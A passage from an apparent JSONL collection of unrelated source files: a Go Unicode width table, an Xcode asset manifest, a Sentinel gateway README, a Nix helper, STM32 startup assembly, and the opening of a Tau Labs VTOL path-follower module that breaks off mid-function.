0x4c0\n\t0x4c0: 0x08, 0x4c1: 0x08, 0x4c2: 0x08, 0x4c3: 0x08, 0x4c4: 0x08, 0x4c5: 0x08, 0x4c6: 0x08, 0x4c7: 0x08,\n\t0x4c8: 0x08, 0x4c9: 0x08, 0x4ca: 0x08, 0x4cb: 0x08, 0x4cc: 0x08, 0x4cd: 0x08, 0x4ce: 0x08, 0x4cf: 0x08,\n\t0x4d0: 0x08, 0x4d1: 0x08, 0x4d2: 0x08, 0x4d3: 0x08, 0x4d4: 0x08, 0x4d5: 0x08, 0x4d6: 0x08, 0x4d7: 0x08,\n\t0x4d8: 0x08, 0x4d9: 0x08, 0x4da: 0x08, 0x4db: 0x08, 0x4dc: 0x08, 0x4dd: 0x08, 0x4de: 0x08, 0x4df: 0x08,\n\t0x4e0: 0x08, 0x4e1: 0x08, 0x4e2: 0x08, 0x4e3: 0x08, 0x4e4: 0x08, 0x4e5: 0x08, 0x4e6: 0x08, 0x4e7: 0x08,\n\t0x4e8: 0x08, 0x4e9: 0x08, 0x4ea: 0x08, 0x4eb: 0x08, 0x4ec: 0x08, 0x4ed: 0x08, 0x4ee: 0x08, 0x4ef: 0x08,\n\t0x4f0: 0x08, 0x4f1: 0x08, 0x4f2: 0x08, 0x4f3: 0x08, 0x4f4: 0x08, 0x4f5: 0x08, 0x4f6: 0x08, 0x4f7: 0x08,\n\t0x4f8: 0x08, 0x4f9: 0x08, 0x4fa: 0x08, 0x4fb: 0x08, 0x4fc: 0x08, 0x4fd: 0x08, 0x4fe: 0x08, 0x4ff: 0x60,\n\t// Block 0x14, offset 0x500\n\t0x520: 0x10,\n\t0x530: 0x09, 0x531: 0x09, 0x532: 0x09, 0x533: 0x09, 0x534: 0x09, 0x535: 0x09, 0x536: 0x09, 0x537: 0x09,\n\t0x538: 0x09, 0x539: 0x09, 0x53a: 0x09, 0x53b: 0x09, 0x53c: 0x09, 0x53d: 0x09, 0x53e: 0x09, 0x53f: 0x11,\n\t// Block 0x15, offset 0x540\n\t0x540: 0x09, 0x541: 0x09, 0x542: 0x09, 0x543: 0x09, 0x544: 0x09, 0x545: 0x09, 0x546: 0x09, 0x547: 0x09,\n\t0x548: 0x09, 0x549: 0x09, 0x54a: 0x09, 0x54b: 0x09, 0x54c: 0x09, 0x54d: 0x09, 0x54e: 0x09, 0x54f: 0x11,\n}\n\n// inverseData contains 4-byte entries of the following format:\n// <0 padding>\n// The last byte of the UTF-8-encoded rune is xor-ed with the last byte of the\n// UTF-8 encoding of the original rune. Mappings often have the following\n// pattern:\n// A -> A (U+FF21 -> U+0041)\n// B -> B (U+FF22 -> U+0042)\n// ...\n// By xor-ing the last byte the same entry can be shared by many mappings. This\n// reduces the total number of distinct entries by about two thirds.\n// The resulting entry for the aforementioned mappings is\n// { 0x01, 0xE0, 0x00, 0x00 }\n// Using this entry to map U+FF21 (UTF-8 [EF BC A1]), we get\n// E0 ^ A1 = 41.\n// Similarly, for U+FF22 (UTF-8 [EF BC A2]), we get\n// E0 ^ A2 = 42.\n// Note that because of the xor-ing, the byte sequence stored in the entry is\n// not valid UTF-8.\nvar inverseData = [150][4]byte{\n\t{0x00, 0x00, 0x00, 0x00},\n\t{0x03, 0xe3, 0x80, 0xa0},\n\t{0x03, 0xef, 0xbc, 0xa0},\n\t{0x03, 0xef, 0xbc, 0xe0},\n\t{0x03, 0xef, 0xbd, 0xe0},\n\t{0x03, 0xef, 0xbf, 0x02},\n\t{0x03, 0xef, 0xbf, 0x00},\n\t{0x03, 0xef, 0xbf, 0x0e},\n\t{0x03, 0xef, 0xbf, 0x0c},\n\t{0x03, 0xef, 0xbf, 0x0f},\n\t{0x03, 0xef, 0xbf, 0x39},\n\t{0x03, 0xef, 0xbf, 0x3b},\n\t{0x03, 0xef, 0xbf, 0x3f},\n\t{0x03, 0xef, 0xbf, 0x2a},\n\t{0x03, 0xef, 0xbf, 0x0d},\n\t{0x03, 0xef, 0xbf, 0x25},\n\t{0x03, 0xef, 0xbd, 0x1a},\n\t{0x03, 0xef, 0xbd, 0x26},\n\t{0x01, 0xa0, 0x00, 0x00},\n\t{0x03, 0xef, 0xbd, 0x25},\n\t{0x03, 0xef, 0xbd, 0x23},\n\t{0x03, 0xef, 0xbd, 0x2e},\n\t{0x03, 0xef, 0xbe, 0x07},\n\t{0x03, 0xef, 0xbe, 0x05},\n\t{0x03, 0xef, 0xbd, 0x06},\n\t{0x03, 0xef, 0xbd, 0x13},\n\t{0x03, 0xef, 0xbd, 0x0b},\n\t{0x03, 0xef, 0xbd, 0x16},\n\t{0x03, 0xef, 0xbd, 0x0c},\n\t{0x03, 0xef, 0xbd, 0x15},\n\t{0x03, 0xef, 0xbd, 0x0d},\n\t{0x03, 0xef, 0xbd, 0x1c},\n\t{0x03, 0xef, 0xbd, 0x02},\n\t{0x03, 0xef, 0xbd, 0x1f},\n\t{0x03, 0xef, 0xbd, 0x1d},\n\t{0x03, 0xef, 0xbd, 0x17},\n\t{0x03, 0xef, 0xbd, 0x08},\n\t{0x03, 0xef, 0xbd, 0x09},\n\t{0x03, 0xef, 0xbd, 0x0e},\n\t{0x03, 0xef, 0xbd, 0x04},\n\t{0x03, 0xef, 0xbd, 0x05},\n\t{0x03, 0xef, 0xbe, 0x3f},\n\t{0x03, 0xef, 0xbe, 0x00},\n\t{0x03, 0xef, 0xbd, 0x2c},\n\t{0x03, 0xef, 0xbe, 0x06},\n\t{0x03, 0xef, 0xbe, 0x0c},\n\t{0x03, 0xef, 0xbe, 0x0f},\n\t{0x03, 0xef, 0xbe, 0x0d},\n\t{0x03, 0xef, 0xbe, 0x0b},\n\t{0x03, 0xef, 0xbe, 0x19},\n\t{0x03, 0xef, 0xbe, 0x15},\n\t{0x03, 0xef, 0xbe, 0x11},\n\t{0x03, 0xef, 0xbe, 0x31},\n\t{0x03, 0xef, 0xbe, 0x33},\n\t{0x03, 0xef, 0xbd, 0x0f},\n\t{0x03, 0xef, 0xbe, 0x30},\n\t{0x03, 0xef, 0xbe, 0x3e},\n\t{0x03, 0xef, 0xbe, 0x32},\n\t{0x03, 0xef, 0xbe, 0x36},\n\t{0x03, 0xef, 0xbd, 0x14},\n\t{0x03, 0xef, 0xbe, 0x2e},\n\t{0x03, 0xef, 0xbd, 0x1e},\n\t{0x03, 0xef, 0xbe, 0x10},\n\t{0x03, 0xef, 0xbf, 0x13},\n\t{0x03, 0xef, 0xbf, 0x15},\n\t{0x03, 0xef, 0xbf, 0x17},\n\t{0x03, 0xef, 0xbf, 0x1f},\n\t{0x03, 0xef, 0xbf, 0x1d},\n\t{0x03, 0xef, 0xbf, 0x1b},\n\t{0x03, 0xef, 0xbf, 0x09},\n\t{0x03, 0xef, 0xbf, 0x0b},\n\t{0x03, 0xef, 0xbf, 0x37},\n\t{0x03, 0xef, 0xbe, 0x04},\n\t{0x01, 0xe0, 0x00, 0x00},\n\t{0x03, 0xe2, 0xa6, 0x1a},\n\t{0x03, 0xe2, 0xa6, 0x26},\n\t{0x03, 0xe3, 0x80, 0x23},\n\t{0x03, 0xe3, 0x80, 0x2e},\n\t{0x03, 0xe3, 0x80, 0x25},\n\t{0x03, 0xe3, 0x83, 0x1e},\n\t{0x03, 0xe3, 0x83, 0x14},\n\t{0x03, 0xe3, 0x82, 0x06},\n\t{0x03, 0xe3, 0x82, 0x0b},\n\t{0x03, 0xe3, 0x82, 0x0c},\n\t{0x03, 0xe3, 0x82, 0x0d},\n\t{0x03, 0xe3, 0x82, 0x02},\n\t{0x03, 0xe3, 0x83, 0x0f},\n\t{0x03, 0xe3, 0x83, 0x08},\n\t{0x03, 0xe3, 0x83, 0x09},\n\t{0x03, 0xe3, 0x83, 0x2c},\n\t{0x03, 0xe3, 0x83, 0x0c},\n\t{0x03, 0xe3, 0x82, 0x13},\n\t{0x03, 0xe3, 0x82, 0x16},\n\t{0x03, 0xe3, 0x82, 0x15},\n\t{0x03, 0xe3, 0x82, 0x1c},\n\t{0x03, 0xe3, 0x82, 0x1f},\n\t{0x03, 0xe3, 0x82, 0x1d},\n\t{0x03, 0xe3, 0x82, 0x1a},\n\t{0x03, 0xe3, 0x82, 0x17},\n\t{0x03, 0xe3, 0x82, 0x08},\n\t{0x03, 0xe3, 0x82, 0x09},\n\t{0x03, 0xe3, 0x82, 0x0e},\n\t{0x03, 0xe3, 0x82, 0x04},\n\t{0x03, 0xe3, 0x82, 0x05},\n\t{0x03, 0xe3, 0x82, 0x3f},\n\t{0x03, 0xe3, 0x83, 0x00},\n\t{0x03, 0xe3, 0x83, 0x06},\n\t{0x03, 0xe3, 0x83, 0x05},\n\t{0x03, 0xe3, 0x83, 0x0d},\n\t{0x03, 0xe3, 0x83, 0x0b},\n\t{0x03, 0xe3, 0x83, 0x07},\n\t{0x03, 0xe3, 0x83, 0x19},\n\t{0x03, 0xe3, 0x83, 0x15},\n\t{0x03, 0xe3, 0x83, 0x11},\n\t{0x03, 0xe3, 0x83, 0x31},\n\t{0x03, 0xe3, 0x83, 0x33},\n\t{0x03, 0xe3, 0x83, 0x30},\n\t{0x03, 0xe3, 0x83, 0x3e},\n\t{0x03, 0xe3, 0x83, 0x32},\n\t{0x03, 0xe3, 0x83, 0x36},\n\t{0x03, 0xe3, 0x83, 0x2e},\n\t{0x03, 0xe3, 0x82, 0x07},\n\t{0x03, 0xe3, 0x85, 0x04},\n\t{0x03, 0xe3, 0x84, 0x10},\n\t{0x03, 0xe3, 0x85, 0x30},\n\t{0x03, 0xe3, 0x85, 0x0d},\n\t{0x03, 0xe3, 0x85, 0x13},\n\t{0x03, 0xe3, 0x85, 0x15},\n\t{0x03, 0xe3, 0x85, 0x17},\n\t{0x03, 0xe3, 0x85, 0x1f},\n\t{0x03, 0xe3, 0x85, 0x1d},\n\t{0x03, 0xe3, 0x85, 0x1b},\n\t{0x03, 0xe3, 0x85, 0x09},\n\t{0x03, 0xe3, 0x85, 0x0f},\n\t{0x03, 0xe3, 0x85, 0x0b},\n\t{0x03, 0xe3, 0x85, 0x37},\n\t{0x03, 0xe3, 0x85, 0x3b},\n\t{0x03, 0xe3, 0x85, 0x39},\n\t{0x03, 0xe3, 0x85, 0x3f},\n\t{0x02, 0xc2, 0x02, 0x00},\n\t{0x02, 0xc2, 0x0e, 0x00},\n\t{0x02, 0xc2, 0x0c, 0x00},\n\t{0x02, 0xc2, 0x00, 0x00},\n\t{0x03, 0xe2, 0x82, 0x0f},\n\t{0x03, 0xe2, 0x94, 0x2a},\n\t{0x03, 0xe2, 0x86, 0x39},\n\t{0x03, 0xe2, 0x86, 0x3b},\n\t{0x03, 0xe2, 0x86, 0x3f},\n\t{0x03, 0xe2, 0x96, 0x0d},\n\t{0x03, 0xe2, 0x97, 0x25},\n}\n\n// Total table size 14680 bytes (14KiB)\n"} +{"text": "{\n \"images\": [\n {\n \"filename\": \"ic_devices_white_18pt.png\",\n \"idiom\": \"universal\",\n \"scale\": \"1x\"\n },\n {\n \"filename\": \"ic_devices_white_18pt_2x.png\",\n \"idiom\": \"universal\",\n \"scale\": \"2x\"\n },\n {\n \"filename\": \"ic_devices_white_18pt_3x.png\",\n \"idiom\": \"universal\",\n \"scale\": \"3x\"\n }\n ],\n \"info\": {\n \"author\": \"xcode\",\n \"version\": 1\n }\n}\n"} +{"text": "# Sentinel API Gateway Adapter Common\n\nThe `sentinel-api-gateway-adapter-common` module provides common abstraction for\nAPI gateway flow control:\n\n- `GatewayFlowRule`: flow control rule specific for route or API defined in API gateway.\nThis can be automatically converted to `FlowRule` or `ParamFlowRule`.\n- `ApiDefinition`: gateway API definition with a group of predicates"} +{"text": "{\n packagesWithUpdateScriptAndMaintainer = maintainer':\n let\n maintainer =\n if ! builtins.hasAttr maintainer' pkgs.lib.maintainers then\n builtins.throw \"Maintainer with name `${maintainer'} does not exist in `maintainers/maintainer-list.nix`.\"\n else\n builtins.getAttr maintainer' pkgs.lib.maintainers;\n in\n packagesWith\n (name: pkg: builtins.hasAttr \"updateScript\" pkg &&\n (if builtins.hasAttr \"maintainers\" pkg.meta\n then\n (if builtins.isList pkg.meta.maintainers\n then builtins.elem maintainer pkg.meta.maintainers\n else maintainer == pkg.meta.maintainers)\n else false)\n )\n (name: pkg: pkg)\n pkgs;\n\n packagesWithUpdateScript = path:\n let\n attrSet = pkgs.lib.attrByPath (pkgs.lib.splitString \".\" path) null pkgs;\n in\n if attrSet == null then\n builtins.throw \"Attribute path `${path}` does not exists.\"\n else\n packagesWith (name: pkg: builtins.hasAttr \"updateScript\" pkg)\n (name: pkg: pkg)\n attrSet;\n}\n"} +{"text": "import toStringAccessor from './toStringAccessor';\n\nexport {\n toStringAccessor\n};\n"} +{"text": "/**\n ******************************************************************************\n * @file startup_stm32f10x_ld_vl.s\n * @author MCD Application Team\n * @version V3.5.0\n * @date 11-March-2011\n * @brief STM32F10x Low Density Value Line Devices vector table for Atollic toolchain.\n * This module performs:\n * - Set the initial SP\n * - Set the initial PC == Reset_Handler,\n * - Set the vector table entries with the exceptions ISR address\n * - Configure the clock system \n * - Branches to main in the C library (which eventually\n * calls main()).\n * After Reset the Cortex-M3 processor is in Thread mode,\n * priority is Privileged, and the Stack is set to Main.\n ******************************************************************************\n * @attention\n *\n * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS\n * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE\n * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY\n * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING\n * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE\n * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.\n *\n *

    © COPYRIGHT 2011 STMicroelectronics

    \n ******************************************************************************\n */\n\n .syntax unified\n\t.cpu cortex-m3\n\t.fpu softvfp\n\t.thumb\n\n.global\tg_pfnVectors\n.global\tDefault_Handler\n\n/* start address for the initialization values of the .data section.\ndefined in linker script */\n.word\t_sidata\n/* start address for the .data section. defined in linker script */\n.word\t_sdata\n/* end address for the .data section. defined in linker script */\n.word\t_edata\n/* start address for the .bss section. defined in linker script */\n.word\t_sbss\n/* end address for the .bss section. defined in linker script */\n.word\t_ebss\n\n.equ BootRAM, 0xF108F85F\n/**\n * @brief This is the code that gets called when the processor first\n * starts execution following a reset event. Only the absolutely\n * necessary set is performed, after which the application\n * supplied main() routine is called.\n * @param None\n * @retval : None\n*/\n\n .section\t.text.Reset_Handler\n\t.weak\tReset_Handler\n\t.type\tReset_Handler, %function\nReset_Handler:\n\n/* Copy the data segment initializers from flash to SRAM */\n movs\tr1, #0\n b\tLoopCopyDataInit\n\nCopyDataInit:\n\tldr\tr3, =_sidata\n\tldr\tr3, [r3, r1]\n\tstr\tr3, [r0, r1]\n\tadds\tr1, r1, #4\n\nLoopCopyDataInit:\n\tldr\tr0, =_sdata\n\tldr\tr3, =_edata\n\tadds\tr2, r0, r1\n\tcmp\tr2, r3\n\tbcc\tCopyDataInit\n\tldr\tr2, =_sbss\n\tb\tLoopFillZerobss\n/* Zero fill the bss segment. */\nFillZerobss:\n\tmovs\tr3, #0\n\tstr\tr3, [r2], #4\n\nLoopFillZerobss:\n\tldr\tr3, = _ebss\n\tcmp\tr2, r3\n\tbcc\tFillZerobss\n\n/* Call the clock system intitialization function.*/\n bl SystemInit \n/* Call static constructors */\n bl __libc_init_array \n/* Call the application's entry point.*/\n\tbl\tmain\n\tbx\tlr\n.size\tReset_Handler, .-Reset_Handler\n\n/**\n * @brief This is the code that gets called when the processor receives an\n * unexpected interrupt. This simply enters an infinite loop, preserving\n * the system state for examination by a debugger.\n *\n * @param None\n * @retval : None\n*/\n .section\t.text.Default_Handler,\"ax\",%progbits\nDefault_Handler:\nInfinite_Loop:\n\tb\tInfinite_Loop\n\t.size\tDefault_Handler, .-Default_Handler\n/******************************************************************************\n*\n* The minimal vector table for a Cortex M3. Note that the proper constructs\n* must be placed on this to ensure that it ends up at physical address\n* 0x0000.0000.\n*\n******************************************************************************/\n \t.section\t.isr_vector,\"a\",%progbits\n\t.type\tg_pfnVectors, %object\n\t.size\tg_pfnVectors, .-g_pfnVectors\n\n\ng_pfnVectors:\n\t.word\t_estack\n\t.word\tReset_Handler\n\t.word\tNMI_Handler\n\t.word\tHardFault_Handler\n\t.word\tMemManage_Handler\n\t.word\tBusFault_Handler\n\t.word\tUsageFault_Handler\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\tSVC_Handler\n\t.word\tDebugMon_Handler\n\t.word\t0\n\t.word\tPendSV_Handler\n\t.word\tSysTick_Handler\n\t.word\tWWDG_IRQHandler\n\t.word\tPVD_IRQHandler\n\t.word\tTAMPER_IRQHandler\n\t.word\tRTC_IRQHandler\n\t.word\tFLASH_IRQHandler\n\t.word\tRCC_IRQHandler\n\t.word\tEXTI0_IRQHandler\n\t.word\tEXTI1_IRQHandler\n\t.word\tEXTI2_IRQHandler\n\t.word\tEXTI3_IRQHandler\n\t.word\tEXTI4_IRQHandler\n\t.word\tDMA1_Channel1_IRQHandler\n\t.word\tDMA1_Channel2_IRQHandler\n\t.word\tDMA1_Channel3_IRQHandler\n\t.word\tDMA1_Channel4_IRQHandler\n\t.word\tDMA1_Channel5_IRQHandler\n\t.word\tDMA1_Channel6_IRQHandler\n\t.word\tDMA1_Channel7_IRQHandler\n\t.word\tADC1_IRQHandler\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\tEXTI9_5_IRQHandler\n\t.word\tTIM1_BRK_TIM15_IRQHandler\n\t.word\tTIM1_UP_TIM16_IRQHandler\n\t.word\tTIM1_TRG_COM_TIM17_IRQHandler\n\t.word\tTIM1_CC_IRQHandler\n\t.word\tTIM2_IRQHandler\n\t.word\tTIM3_IRQHandler\n\t.word\t0\n\t.word\tI2C1_EV_IRQHandler\n\t.word\tI2C1_ER_IRQHandler\n\t.word\t0\n\t.word\t0\n\t.word\tSPI1_IRQHandler\n\t.word\t0\n\t.word\tUSART1_IRQHandler\n\t.word\tUSART2_IRQHandler\n\t.word\t0\n\t.word\tEXTI15_10_IRQHandler\n\t.word\tRTCAlarm_IRQHandler\n\t.word\tCEC_IRQHandler\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word\t0\n\t.word 0 \n\t.word 0\n\t.word 0\n\t.word 0\n\t.word TIM6_DAC_IRQHandler\n\t.word TIM7_IRQHandler \n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word 0\n\t.word BootRAM /* @0x01CC. This is for boot in RAM mode for \n STM32F10x Medium Value Line Density devices. */\n\n/*******************************************************************************\n*\n* Provide weak aliases for each Exception handler to the Default_Handler.\n* As they are weak aliases, any function with the same name will override\n* this definition.\n*\n*******************************************************************************/\n\n \n .weak NMI_Handler\n .thumb_set NMI_Handler,Default_Handler\n \n .weak HardFault_Handler\n .thumb_set HardFault_Handler,Default_Handler\n \n .weak MemManage_Handler\n .thumb_set MemManage_Handler,Default_Handler\n \n .weak BusFault_Handler\n .thumb_set BusFault_Handler,Default_Handler\n\n .weak UsageFault_Handler\n .thumb_set UsageFault_Handler,Default_Handler\n\n .weak SVC_Handler\n .thumb_set SVC_Handler,Default_Handler\n\n .weak DebugMon_Handler\n .thumb_set DebugMon_Handler,Default_Handler\n\n .weak PendSV_Handler\n .thumb_set PendSV_Handler,Default_Handler\n\n .weak SysTick_Handler\n .thumb_set SysTick_Handler,Default_Handler\n\n .weak WWDG_IRQHandler\n .thumb_set WWDG_IRQHandler,Default_Handler\n\n .weak PVD_IRQHandler\n .thumb_set PVD_IRQHandler,Default_Handler\n\n .weak TAMPER_IRQHandler\n .thumb_set TAMPER_IRQHandler,Default_Handler\n\n .weak RTC_IRQHandler\n .thumb_set RTC_IRQHandler,Default_Handler\n\n .weak FLASH_IRQHandler\n .thumb_set FLASH_IRQHandler,Default_Handler\n\n .weak RCC_IRQHandler\n .thumb_set RCC_IRQHandler,Default_Handler\n\n .weak EXTI0_IRQHandler\n .thumb_set EXTI0_IRQHandler,Default_Handler\n\n .weak EXTI1_IRQHandler\n .thumb_set EXTI1_IRQHandler,Default_Handler\n\n .weak EXTI2_IRQHandler\n .thumb_set EXTI2_IRQHandler,Default_Handler\n\n .weak EXTI3_IRQHandler\n .thumb_set EXTI3_IRQHandler,Default_Handler\n\n .weak EXTI4_IRQHandler\n .thumb_set EXTI4_IRQHandler,Default_Handler\n\n .weak DMA1_Channel1_IRQHandler\n .thumb_set DMA1_Channel1_IRQHandler,Default_Handler\n\n .weak DMA1_Channel2_IRQHandler\n .thumb_set DMA1_Channel2_IRQHandler,Default_Handler\n\n .weak DMA1_Channel3_IRQHandler\n .thumb_set DMA1_Channel3_IRQHandler,Default_Handler\n\n .weak DMA1_Channel4_IRQHandler\n .thumb_set DMA1_Channel4_IRQHandler,Default_Handler\n\n .weak DMA1_Channel5_IRQHandler\n .thumb_set DMA1_Channel5_IRQHandler,Default_Handler\n\n .weak DMA1_Channel6_IRQHandler\n .thumb_set DMA1_Channel6_IRQHandler,Default_Handler\n\n .weak DMA1_Channel7_IRQHandler\n .thumb_set DMA1_Channel7_IRQHandler,Default_Handler\n\n .weak ADC1_IRQHandler\n .thumb_set ADC1_IRQHandler,Default_Handler\n\n .weak EXTI9_5_IRQHandler\n .thumb_set EXTI9_5_IRQHandler,Default_Handler\n\n .weak TIM1_BRK_TIM15_IRQHandler\n .thumb_set TIM1_BRK_TIM15_IRQHandler,Default_Handler\n\n .weak TIM1_UP_TIM16_IRQHandler\n .thumb_set TIM1_UP_TIM16_IRQHandler,Default_Handler\n\n .weak TIM1_TRG_COM_TIM17_IRQHandler\n .thumb_set TIM1_TRG_COM_TIM17_IRQHandler,Default_Handler\n\n .weak TIM1_CC_IRQHandler\n .thumb_set TIM1_CC_IRQHandler,Default_Handler\n\n .weak TIM2_IRQHandler\n .thumb_set TIM2_IRQHandler,Default_Handler\n\n .weak TIM3_IRQHandler\n .thumb_set TIM3_IRQHandler,Default_Handler\n\n .weak I2C1_EV_IRQHandler\n .thumb_set I2C1_EV_IRQHandler,Default_Handler\n\n .weak I2C1_ER_IRQHandler\n .thumb_set I2C1_ER_IRQHandler,Default_Handler\n\n .weak SPI1_IRQHandler\n .thumb_set SPI1_IRQHandler,Default_Handler\n\n .weak USART1_IRQHandler\n .thumb_set USART1_IRQHandler,Default_Handler\n\n .weak USART2_IRQHandler\n .thumb_set USART2_IRQHandler,Default_Handler\n\n .weak EXTI15_10_IRQHandler\n .thumb_set EXTI15_10_IRQHandler,Default_Handler\n\n .weak RTCAlarm_IRQHandler\n .thumb_set RTCAlarm_IRQHandler,Default_Handler\n\n .weak CEC_IRQHandler\n .thumb_set CEC_IRQHandler,Default_Handler\n\n .weak TIM6_DAC_IRQHandler\n .thumb_set TIM6_DAC_IRQHandler,Default_Handler\n\n .weak TIM7_IRQHandler\n .thumb_set TIM7_IRQHandler,Default_Handler \n\n/******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/\n\n"} +{"text": "/**\n ******************************************************************************\n * @addtogroup TauLabsModules Tau Labs Modules\n * @{\n * @addtogroup VtolPathFollower VTOL path follower module\n * @{\n *\n * @file vtolpathfollower.c\n * @author Tau Labs, http://taulabs.org, Copyright (C) 2013-2014\n * @brief Compute attitude to achieve a path for VTOL aircrafts\n *\n * Runs the VTOL follower FSM which then calls the lower VTOL navigation\n * control algorithms as appropriate.\n *****************************************************************************/\n/*\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n */\n\n#include \"openpilot.h\"\n#include \"physical_constants.h\"\n#include \"misc_math.h\"\n#include \"paths.h\"\n#include \"pid.h\"\n#include \"pios_thread.h\"\n\n#include \"vtol_follower_priv.h\"\n\n#include \"acceldesired.h\"\n#include \"altitudeholdsettings.h\"\n#include \"altitudeholdstate.h\"\n#include \"modulesettings.h\"\n#include \"pathdesired.h\" // object that will be updated by the module\n#include \"flightstatus.h\"\n#include \"pathstatus.h\"\n#include \"stabilizationdesired.h\"\n#include \"systemsettings.h\"\n#include \"velocitydesired.h\"\n#include \"vtolpathfollowersettings.h\"\n#include \"vtolpathfollowerstatus.h\"\n#include \"coordinate_conversions.h\"\n\n// Private constants\n#define MAX_QUEUE_SIZE 4\n#define STACK_SIZE_BYTES 1548\n#define TASK_PRIORITY PIOS_THREAD_PRIO_NORMAL\n\n// Private types\n\n// Private variables\nstatic struct pios_thread *pathfollowerTaskHandle;\nstatic VtolPathFollowerSettingsData guidanceSettings;\nstatic struct pios_queue *queue;\n\n// Private functions\nstatic void vtolPathFollowerTask(void *parameters);\nstatic bool module_enabled = false;\n\n/**\n * Initialise the module, called on startup\n * \\returns 0 on success or -1 if initialisation failed\n */\nint32_t VtolPathFollowerStart()\n{\n\tif (module_enabled) {\n\t\t// Create object queue\n\t\tqueue = PIOS_Queue_Create(MAX_QUEUE_SIZE, sizeof(UAVObjEvent));\n\t\tFlightStatusConnectQueue(queue);\n\n\t\t// Start main task\n\t\tpathfollowerTaskHandle = PIOS_Thread_Create(vtolPathFollowerTask, \"VtolPathFollower\", STACK_SIZE_BYTES, NULL, TASK_PRIORITY);\n\t\tTaskMonitorAdd(TASKINFO_RUNNING_PATHFOLLOWER, pathfollowerTaskHandle);\n\t}\n\n\treturn 0;\n}\n\n/**\n * Initialise the module, called on startup\n * \\returns 0 on success or -1 if initialisation failed\n */\nint32_t VtolPathFollowerInitialize()\n{\n#ifdef MODULE_VtolPathFollower_BUILTIN\n\tmodule_enabled = true;\n#else\n\tuint8_t module_state[MODULESETTINGS_ADMINSTATE_NUMELEM];\n\tModuleSettingsAdminStateGet(module_state);\n\tif (module_state[MODULESETTINGS_ADMINSTATE_VTOLPATHFOLLOWER] == MODULESETTINGS_ADMINSTATE_ENABLED) {\n\t\tmodule_enabled = true;\n\t} else {\n\t\tmodule_enabled = false;\n\t}\n#endif\n\n\tif (!module_enabled) {\n\t\treturn -1;\n\t}\n\n\tAccelDesiredInitialize();\n\tAltitudeHoldSettingsInitialize();\n\tAltitudeHoldStateInitialize();\n\tPathDesiredInitialize();\n\tPathStatusInitialize();\n\tVelocityDesiredInitialize();\n\tVtolPathFollowerSettingsInitialize();\n\tVtolPathFollowerStatusInitialize();\n\t\n\treturn 0;\n}\n\nMODULE_INITCALL(VtolPathFollowerInitialize, VtolPathFollowerStart);\n\nextern struct pid vtol_pids[VTOL_PID_NUM];\n\n/**\n * Module thread, should not return.\n */\nstatic void vtolPathFollowerTask(void *parameters)\n{\n\tSystemSettingsData systemSettings;\n\tFlightStatusData flightStatus;\n\n\tVtolPathFollowerSettingsConnectCallback(vtol_follower_control_settings_updated);\n\tAltitudeHoldSettingsConnectCallback(vtol_follower_control_settings_updated);\n\tvtol_follower_control_settings_updated(NULL);\n\t\n\tVtolPathFollowerSettingsGet(&guidanceSettings);\n\t\n\t// Main task loop\n\twhile (1) {\n\n\t\tSystemSettingsGet(&systemSettings);\n\t\tif ( (systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_VTOL) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_QUADP) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_QUADX) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_HEXA) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_HEXAX) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_HEXACOAX) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_OCTO) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_OCTOV) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_OCTOCOAXP) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_OCTOCOAXX) &&\n\t\t\t(systemSettings.AirframeType != SYSTEMSETTINGS_AIRFRAMETYPE_TRI) )\n\t\t{\n\t\t\t// This should be a critical alarm since the system will not attempt to\n\t\t\t// control in this situation.\n\t\t\tAlarmsSet(SYSTEMALARMS_ALARM_PATHFOLLOWER,SYSTEMALARMS_ALARM_CRITICAL);\n\t\t\tPIOS_Thread_Sleep(1000);\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Make sure 